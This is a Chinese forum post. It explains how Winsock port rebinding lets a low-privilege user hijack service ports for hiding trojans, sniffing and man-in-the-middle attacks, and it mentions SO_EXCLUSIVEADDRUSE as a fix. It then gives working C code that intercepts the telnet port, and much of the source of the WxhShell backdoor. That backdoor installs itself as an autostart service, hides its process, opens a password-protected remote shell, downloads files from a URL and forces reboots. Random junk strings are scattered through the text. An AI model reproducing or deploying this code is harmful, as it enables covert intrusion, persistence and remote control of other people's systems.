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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nvyB/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6E^~n  
 `w<J25  
  saddr.sin_family = AF_INET; QUOKThY?  
sN/+   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Gi7RMql6Q  
`# ^0cW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QxpKX_@Q5  
kso*}uh0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gx;O6S{  
(lWq[0^N  
  这意味着什么?意味着可以进行如下的攻击: PW)aLycPK  
4~|<` vqN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x-_vl 9P)  
cm@;*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %l$W*.j|;  
91d }, Mq:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6 bO;&  
:6Pad  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   CL3xg)x6  
kGHC]Fb)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |_zO_Frtp  
5 9 -!6;T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O#_x)13  
c K<)$*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -:`V<   
|~e?,[-2`r  
  #include _T*AC.  
  #include LP<<'(l`  
  #include o4Q3<T7nI  
  #include    oH-8r:{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9l !S9d  
  int main() :.&{Z"  
  { L *Y|ey  
  WORD wVersionRequested; U[||~FW'  
  DWORD ret; J@#?@0]F  
  WSADATA wsaData; c`kQvXx  
  BOOL val; &drFQ|  
  SOCKADDR_IN saddr; LWmB, Zf/  
  SOCKADDR_IN scaddr; A 's-'8m  
  int err; nSS=%,?  
  SOCKET s; X")|Uw8Kl/  
  SOCKET sc; Y25uU%6t_  
  int caddsize; /A07s[L  
  HANDLE mt; LmL Gki$w  
  DWORD tid;   HL8eD^  
  wVersionRequested = MAKEWORD( 2, 2 ); \:/Lc{*}MD  
  err = WSAStartup( wVersionRequested, &wsaData ); VKuAO$s$  
  if ( err != 0 ) { PT]GJ<K/  
  printf("error!WSAStartup failed!\n"); 4hAJ!7[A.  
  return -1; [1( FgyE  
  } dM]#WBOP y  
  saddr.sin_family = AF_INET; o`?zF+M0  
   OJ3UE(,I=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OO-k|\{ |  
GozPvR^/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g22gIj]  
  saddr.sin_port = htons(23); =m tY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .+.j*>q>u  
  {  ^jyD#  
  printf("error!socket failed!\n"); Ix8$njp[  
  return -1; O4|2|sA  
  } ~`cwG` 'N  
  val = TRUE; &Lj@9\Dh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5:_hP{ @  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ai-n z-;  
  { |jG~,{  
  printf("error!setsockopt failed!\n"); ..qd,9H  
  return -1; r>n" 51*  
  } A Y9 9!p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f )NHM'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pe ~c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1ThqqB  
?I W_O~Js  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pJ^NA2  
  { 6X_\Ve  
  ret=GetLastError(); rAukHeH  
  printf("error!bind failed!\n"); j]5WK_~M  
  return -1; V3sL;  
  } zx%X~U   
  listen(s,2); Y A&`&$  
  while(1) PkUd~c  
  { 6mPm=I[oh  
  caddsize = sizeof(scaddr); 4s.]M>Yb  
  //接受连接请求 X.#oEmA ,P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;L"!I3dM)  
  if(sc!=INVALID_SOCKET) }31Z X  
  { &m'kI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MC!ZX)mF  
  if(mt==NULL) UY>v"M  
  { 9 [Y-M  
  printf("Thread Creat Failed!\n"); C"eXs#A  
  break; b{cU<;G)y.  
  } 0b-?q&*_  
  } (q;bg1\UK  
  CloseHandle(mt); ;hDa@3|]34  
  } }nrXxfu  
  closesocket(s); {aOkV::  
  WSACleanup(); !xK=#pa  
  return 0; eSy(~Y  
  }   J"CJYuGW,  
  DWORD WINAPI ClientThread(LPVOID lpParam) <"tDAx  
  { x]4Kkpqm  
  SOCKET ss = (SOCKET)lpParam; Gi?_ujZR  
  SOCKET sc; eN>0wd5{L  
  unsigned char buf[4096]; p,!$/Q+l  
  SOCKADDR_IN saddr; m7jA ,~O  
  long num; oy\B;aAK  
  DWORD val; @wN G  
  DWORD ret; vmZ"o9-{#X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !iu5OX7K|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |+f-h,  
  saddr.sin_family = AF_INET; P,z:Z| }8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VLvS$0(}Z  
  saddr.sin_port = htons(23); \ v2H^j/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {6,|IGAq V  
  { LR&_2e^[  
  printf("error!socket failed!\n"); m5c&&v6%"b  
  return -1; e x?v `9  
  } $P {K2"Oc  
  val = 100; ]\c,BWC@e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \vbk#G hH  
  { F:g=i}7  
  ret = GetLastError(); %w}gzxN^  
  return -1; wS XVyg{  
  } dQ:cYNm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h#.N3o  
  { [c&B|h=>  
  ret = GetLastError(); OI/@3"L{  
  return -1; 2YBIWR8z  
  } '\7G@g?UZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tY/vL^mi  
  { rpV1y$n<F  
  printf("error!socket connect failed!\n"); ?u$u?j|N  
  closesocket(sc); L'A)6^d@S  
  closesocket(ss); 4,P bg|  
  return -1; URTzX 2'[  
  } R= 5 **  
  while(1) -j2 (R?a  
  { n! h7   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S-F o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1TN}GsAj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a \5FAkI  
  num = recv(ss,buf,4096,0); {E_{JB~`  
  if(num>0) #5ax^p2*~  
  send(sc,buf,num,0); B(5c9DI`  
  else if(num==0) ]N)DS+V/  
  break; ERMa# L  
  num = recv(sc,buf,4096,0); kuMKX`_  
  if(num>0) 1 Y/$,Oa5  
  send(ss,buf,num,0); \Sy7 "a  
  else if(num==0) 0D&>Gyc*0  
  break; fw-\|fP  
  } "MOpsb,  
  closesocket(ss); eVz#7vqv   
  closesocket(sc); </~ 6f(mg  
  return 0 ; c0- ;VZ'  
  } d IB }_L  
x~DLW1I  
C"V%# K  
========================================================== [3>GGX[Ic  
Nh!_l  
下边附上一个代码,,WXhSHELL 6z,Dyy]tl  
GF<[}  
========================================================== V2d,ksKwn  
m@G i6   
#include "stdafx.h" <^R{U&Z@  
D{7w!z  
#include <stdio.h> Qst$S}n  
#include <string.h> oF:v JDSS  
#include <windows.h> X]j)+DX>  
#include <winsock2.h> _F(P*[[&  
#include <winsvc.h> Nn6S 8kc  
#include <urlmon.h> Xq#Y*lKVD  
2)0b2QbQ  
#pragma comment (lib, "Ws2_32.lib") |`rJJFA  
#pragma comment (lib, "urlmon.lib") j]4,<ppWSH  
vDj;>VE2b  
#define MAX_USER   100 // 最大客户端连接数 MN8H;0g-  
#define BUF_SOCK   200 // sock buffer S/A1RUt  
#define KEY_BUFF   255 // 输入 buffer k[|~NLB8  
ixfdO\nU  
#define REBOOT     0   // 重启 Y}G_Z#-!  
#define SHUTDOWN   1   // 关机 ~f>2U]F>5  
-yH,5vD  
#define DEF_PORT   5000 // 监听端口 b'p4wE>  
"jg@w%~  
#define REG_LEN     16   // 注册表键长度 +b$S~0n   
#define SVC_LEN     80   // NT服务名长度 47By`Jh71  
T2'RATfG  
// 从dll定义API 8G^<[`.@j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7{kP}?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ht97s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %/9;ZV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R`'1t3p0i  
wFS2P+e;X  
// wxhshell配置信息 - xm{&0e)  
struct WSCFG { LO%!Z,}   
  int ws_port;         // 监听端口 HM[klH]s=  
  char ws_passstr[REG_LEN]; // 口令 ]1`g^Z@ 0  
  int ws_autoins;       // 安装标记, 1=yes 0=no   WY  
  char ws_regname[REG_LEN]; // 注册表键名 [j,txe?n  
  char ws_svcname[REG_LEN]; // 服务名 #& .]" d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &p(0K4:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vRQOs0F;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K|S:{9Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i?@M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U7$WiPTNL9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r4}*l7Q  
%ati7{2!  
}; 0S/' 94%w  
fRZ KEIyk  
// default Wxhshell configuration ^-)txC5{T  
struct WSCFG wscfg={DEF_PORT, GRqT-/n"  
    "xuhuanlingzhe", 77 r(*.O|  
    1, vG.9 H_&  
    "Wxhshell", N#xG3zZl|N  
    "Wxhshell", |9K<-yD  
            "WxhShell Service", _wDS#t;!M  
    "Wrsky Windows CmdShell Service", \Q$HXK  
    "Please Input Your Password: ", g(x9S'H3l  
  1, +JyUe    
  "http://www.wrsky.com/wxhshell.exe", k\r(=cex6  
  "Wxhshell.exe" ?knYY>Kzh1  
    }; AasZuO_I  
( <*e  
// 消息定义模块 El2e~l9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M" lg%j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }CGSEr4'w~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cr ? 4Ngw  
char *msg_ws_ext="\n\rExit."; "hz\Z0zg2  
char *msg_ws_end="\n\rQuit."; \Gp*x\<^Z  
char *msg_ws_boot="\n\rReboot..."; JC?N_kP%W  
char *msg_ws_poff="\n\rShutdown..."; ^]C&tG0 !  
char *msg_ws_down="\n\rSave to "; ]88];?KS}  
qPGuo5^  
char *msg_ws_err="\n\rErr!"; xJ8%<RR!t  
char *msg_ws_ok="\n\rOK!"; X|LxV]  
;QCrHqRT`  
char ExeFile[MAX_PATH]; _banp0ywS  
int nUser = 0; v 4/-b4ET  
HANDLE handles[MAX_USER]; ]bdFr/!'S+  
int OsIsNt; "`Ge~N[$A  
/'.=sH  
SERVICE_STATUS       serviceStatus;  :nY 2O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XMN:]!1J  
4-GXmC  
// 函数声明 vV?rpe|%  
int Install(void); O\KQl0*l\\  
int Uninstall(void); F/c$v  
int DownloadFile(char *sURL, SOCKET wsh); (@0O   
int Boot(int flag); &[mZD,  
void HideProc(void); ./6<r OW  
int GetOsVer(void); 0C%W&;r0  
int Wxhshell(SOCKET wsl); AV8T  
void TalkWithClient(void *cs); 6vKS".4C  
int CmdShell(SOCKET sock); K0pac6]  
int StartFromService(void); y@V_g'  
int StartWxhshell(LPSTR lpCmdLine); _6@hTen`  
UaG1c%7?X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3riw1r;Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UYP9c}_,4  
@F*wg  
// 数据结构和表定义 fl\aqtF  
SERVICE_TABLE_ENTRY DispatchTable[] = J8a*s`ik  
{ 'J)2g"T@  
{wscfg.ws_svcname, NTServiceMain}, =:,xxqy  
{NULL, NULL} e-hjC6Q U  
}; a&{X!:X  
q=Zr>I;(Ks  
// 自我安装 mog[pu:!,  
int Install(void) 2S3lsp5!  
{ \!50UVzm)  
  char svExeFile[MAX_PATH]; EpJ4`{4  
  HKEY key; Z#l%r0(o  
  strcpy(svExeFile,ExeFile); h0vob_Fdl  
[P4$Khu$  
// 如果是win9x系统,修改注册表设为自启动 BI?@1q}:  
if(!OsIsNt) { zh I#f0c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6M.;@t,Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YV4#%I!<  
  RegCloseKey(key); (6p]ZY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SAV%4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qo6y %[  
  RegCloseKey(key); zQ6p+R7D  
  return 0; 0H_!Kg  
    } H5cV5E0  
  } wd@aw/  
} j9+I0>#X  
else { 98jN)Nl,oD  
W=B"Q qL  
// 如果是NT以上系统,安装为系统服务 AwUi+|7r])  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fQK"h  
if (schSCManager!=0) /2M.~3gQ  
{ nR>r2wMk@  
  SC_HANDLE schService = CreateService RF!a//  
  ( X6+qpp  
  schSCManager, VQI(Vp|  
  wscfg.ws_svcname, =VLS/\A  
  wscfg.ws_svcdisp, {Hmo1|_S|  
  SERVICE_ALL_ACCESS, ^-CINt{O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f ).1]~  
  SERVICE_AUTO_START, iTh:N2/-vc  
  SERVICE_ERROR_NORMAL, [L $9p@I  
  svExeFile, h4pTq[4*  
  NULL, zjL.Bhiud  
  NULL, ^ &/G|  
  NULL, SHb(O<6  
  NULL, I:V0Xxz5t  
  NULL 60=m  
  ); >evS} O6  
  if (schService!=0) qH,l#I\CG  
  { R =Ws#'  
  CloseServiceHandle(schService); {+<P:jbz;  
  CloseServiceHandle(schSCManager); mnk"Vr` L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { x0t  
  strcat(svExeFile,wscfg.ws_svcname); H=g.34  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dUznxZB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V}o n|A  
  RegCloseKey(key); M~*u;vA/  
  return 0; ~n')&u{  
    } IL/Yc1  
  } [ =x s4=  
  CloseServiceHandle(schSCManager); Rv,JU6>i  
} t&Os;x?To?  
} /y7M lU9  
E@05e  
return 1; W>(/ bX  
} P #F=c34u  
vzel#  
// 自我卸载 Lj\/Ji_  
int Uninstall(void) ik|-L8  
{ g[>\4B9t  
  HKEY key; Uawpfgc}  
"N:XzG  
if(!OsIsNt) { _sE#)@p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @;xMs8@  
  RegDeleteValue(key,wscfg.ws_regname); I|-p3g8\  
  RegCloseKey(key); ?;YC'bF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ll4bdz,  
  RegDeleteValue(key,wscfg.ws_regname); C'=k&#<-  
  RegCloseKey(key); !|q<E0@w\  
  return 0; %S` v!*2  
  } p47S^gW  
} &bz:K8c  
} GSoZx0  
else { qrvsjYi*w  
dUgrKDNyA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uq_j\A;c  
if (schSCManager!=0) V~ ~=Qp+.  
{ /:6Wzj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C.^Ven  
  if (schService!=0) -"Y{$/B  
  { D9mz9  
  if(DeleteService(schService)!=0) { j#~Jxv%n  
  CloseServiceHandle(schService); gw`B"c|  
  CloseServiceHandle(schSCManager); KD1=Y80P  
  return 0; =ItkFjhBc  
  } ) yY6rI;:  
  CloseServiceHandle(schService); b5IA"w  
  } =&0wr6  
  CloseServiceHandle(schSCManager); FEPXuCb  
} Glq85S  
} ]nQt>R p_  
OX%MP!#KU  
return 1; yq_LW>|Z  
} p2J|Hl|  
6qe*@o  
// 从指定url下载文件 6+V\t+aug  
int DownloadFile(char *sURL, SOCKET wsh) N$Y" c*  
{ P+t#4J  
  HRESULT hr; -S,ln  
char seps[]= "/"; [>#*B9  
char *token; ,<<4*  
char *file; S.B<pj gt  
char myURL[MAX_PATH]; 4ww]9J  
char myFILE[MAX_PATH];  %d Ernc$  
zL5d0_E9  
strcpy(myURL,sURL); 8,O33qwH  
  token=strtok(myURL,seps); %xlqF<  
  while(token!=NULL) v{i7h|e  
  { 2RF^s.W  
    file=token; (3[z%@I  
  token=strtok(NULL,seps); 7@.cOB`y@3  
  } 1[*UYcD  
<]C$xp<2  
GetCurrentDirectory(MAX_PATH,myFILE); Nf3.\eR  
strcat(myFILE, "\\"); Bb&^ {7  
strcat(myFILE, file); #QvMVy  
  send(wsh,myFILE,strlen(myFILE),0); (vR 9H(#  
send(wsh,"...",3,0); a</D_66  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Y:x[pOe  
  if(hr==S_OK) ; )Kh;;e  
return 0; &`Y!;@K9W#  
else xX0-]Y h:  
return 1; PqNFyQkl  
<)g8y A  
} <J(sR  
h0?2j)X_  
// 系统电源模块 x# ~ x;)  
int Boot(int flag) &X9Z W$C  
{ e98lhu"|H  
  HANDLE hToken; %or,{mmiM:  
  TOKEN_PRIVILEGES tkp; ,1q_pep~?%  
_qvK*nE  
  if(OsIsNt) { VhT= l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); in<Rq"L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); " +KJop  
    tkp.PrivilegeCount = 1; 5ep/h5*/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g u)=wu0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -K(fh#<6KO  
if(flag==REBOOT) { K|C^l;M6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $@\mpwANl  
  return 0; yix'rA-T  
} : "6q,W  
else { |W$DVRA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l5Y/Ok0,  
  return 0; nfb]VN~(  
} It_M@  
  } @=w<B4 L  
  else { : FAH\  
if(flag==REBOOT) { Bhqft;Nuh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UH@a s  
  return 0; ]DFXPV  
} U,/6;}  
else { eLwTaW !C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;E~4)^  
  return 0; K\[!SXg@  
} y AF+bCXo  
} ~/_9P Fk  
=1h9rlFj"D  
return 1; jO9ip  
} h9$ Fx  
 "SN4*  
// win9x进程隐藏模块 oq-<ob  
void HideProc(void) d;tkJ2@NO  
{ 2y0J`!/)  
E< 4l#Z<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;;5Uwd'-  
  if ( hKernel != NULL ) 1ju#9i`.Wg  
  { Kzy/9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bhp OXqg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A6<C-1 N}j  
    FreeLibrary(hKernel); 5q{h 2).)  
  } tC8(XMVx  
C8@TZ[w  
return; u{&B^s)k.  
} !DjvsG1x  
Uu6L~iB  
// 获取操作系统版本 ^\ ?O4,L  
int GetOsVer(void) 1{pmKPu  
{ M_B:{%4  
  OSVERSIONINFO winfo; z2ms^Y=j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PYB+FcR6?n  
  GetVersionEx(&winfo); Uts"aQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "wH)mQnd  
  return 1; HDM<w+ZxX  
  else L~{_!Q  
  return 0; jD) {I  
} e"-X U@`k1  
W [[oSqp  
// 客户端句柄模块 gOT+%Ab{_  
int Wxhshell(SOCKET wsl) )/4(e?%=  
{ LCXO>MXN  
  SOCKET wsh; tc_f;S`k  
  struct sockaddr_in client; 9L%I<5i  
  DWORD myID; N\t1T(C|  
-0o[f53}p  
  while(nUser<MAX_USER) Auy".br'  
{ '2J0>Bla  
  int nSize=sizeof(client); /4=-b_2Y~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C`oa3B,z  
  if(wsh==INVALID_SOCKET) return 1; pl*~kG=  
rgIrr5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z `8cOK-  
if(handles[nUser]==0) ~>G]_H]?  
  closesocket(wsh); &zL#hBE  
else Zr$d20M2A;  
  nUser++; '/0#lF  
  } TGT$ >/w >  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @mw "W{  
~CRSL1?  
  return 0; (lA.3 4.p  
} VCNT4m  
Mro4`GL  
// 关闭 socket gLD`wfZR  
void CloseIt(SOCKET wsh) {!ZyCi19  
{ ^jdL@#k00  
closesocket(wsh); |wxGpBau  
nUser--; OL59e %X  
ExitThread(0); ofc.zwH  
} a<XCNTaVT  
=<f-ob8,  
// 客户端请求句柄 jdut4 nFc  
void TalkWithClient(void *cs) `Y?t@dd  
{ CF y}r(q  
$KV&\Q3\0  
  SOCKET wsh=(SOCKET)cs; xtV[p4U  
  char pwd[SVC_LEN]; BJjx|VA+  
  char cmd[KEY_BUFF]; z,;;=V6j  
char chr[1]; >hMUr*j  
int i,j; = Je>`{J  
~yJ4qp-  
  while (nUser < MAX_USER) { %:6?Y%`*[  
l1_X(Z._V  
if(wscfg.ws_passstr) { T~4mQuYi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yT /EHmJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r2*<\ax  
  //ZeroMemory(pwd,KEY_BUFF); )9"oL!2h  
      i=0; :LJ7ru2  
  while(i<SVC_LEN) { :bM+&EP  
`linG1mF  
  // 设置超时 8"'x)y  
  fd_set FdRead; C.a5RF0  
  struct timeval TimeOut; TT!ET<ciN  
  FD_ZERO(&FdRead); *}b]rjsj  
  FD_SET(wsh,&FdRead); hP?fMW$V  
  TimeOut.tv_sec=8;  {E9v`u\  
  TimeOut.tv_usec=0; ~9pM%N V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l?N`{ ,1^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bPD)D'Hs  
9 wa,k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]o.vB}WsY  
  pwd=chr[0]; \9c$`nn  
  if(chr[0]==0xd || chr[0]==0xa) { ZwI 1* f  
  pwd=0; jrJR1npB  
  break; X'sEE  
  } A;K(J4y*  
  i++; g9tu %cIkR  
    } Eyh|a. )-  
-<f/\U  
  // 如果是非法用户,关闭 socket 0Vv9BL{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *DeTqO65  
} HB& &  
sLh0&R7   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Iq' O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,4F,:w  
X33v:9=  
while(1) { N{a kg90  
HQVh+(  
  ZeroMemory(cmd,KEY_BUFF); 0A$SYF$O+[  
iv%w!3#  
      // 自动支持客户端 telnet标准   ,\ldz(D?+  
  j=0; CDg AGy  
  while(j<KEY_BUFF) { 60B-ay0e$b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rnhFqNT:  
  cmd[j]=chr[0]; Bt~s*{3$8  
  if(chr[0]==0xa || chr[0]==0xd) { ``4wX-y  
  cmd[j]=0; 4KpL>'Q=  
  break; cf8-]G?tK  
  } h* .w"JO  
  j++; y%(X+E"n*  
    } W|c.l{A5Q  
<&#+ E%E4  
  // 下载文件 lglYJ,  
  if(strstr(cmd,"http://")) { !e8i/!}^S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;b~~s.+  
  if(DownloadFile(cmd,wsh)) -zfoRU v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D&{ *AH%Q  
  else b](o]O{v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D!FaEN  
  } ," R>}kPli  
  else { KsdG(.I+ek  
a8uYs DS  
    switch(cmd[0]) { o"_=K%9  
  z]#hWfM4B:  
  // 帮助 B4W\ t{  
  case '?': { 6 DP[g8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wc'Ehyi;  
    break; T!^Mvat  
  } }=GM ?,7b  
  // 安装 &TT":FPR  
  case 'i': { V/y=6wUiSl  
    if(Install()) 9{eBgdC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,}s$v  
    else [%8@D C'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'V!kL, 9ES  
    break; zXre~b03ZS  
    } = HE m)  
  // 卸载 %?tq;~|]Q  
  case 'r': { Z;<ep@gy~  
    if(Uninstall()) U</+.$b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &hN,xpC  
    else (([I]q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P^IY: -s  
    break; %g^" ]  
    } sbla`6Fb  
  // 显示 wxhshell 所在路径 Yo2Trh  
  case 'p': { )!-S|s'  
    char svExeFile[MAX_PATH]; ~77 5soN  
    strcpy(svExeFile,"\n\r"); {'~sS  
      strcat(svExeFile,ExeFile); :R+],m il  
        send(wsh,svExeFile,strlen(svExeFile),0); \C/z%Hf7-  
    break; g _ M-F  
    } 6E+=Xi  
  // 重启 &BgU:R,  
  case 'b': { ,P@QxnQ   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?0J0Ij,  
    if(Boot(REBOOT)) Zoow*`b|$U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ak=UtDN[  
    else { 5-'vB  
    closesocket(wsh); L>nO:`>h  
    ExitThread(0); #v8Cy|I  
    } F0;1zw  
    break; &%e"9v2`  
    } )BLmoJOf  
  // 关机  U42\.V0  
  case 'd': { 1g i}H)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ay[+2"  
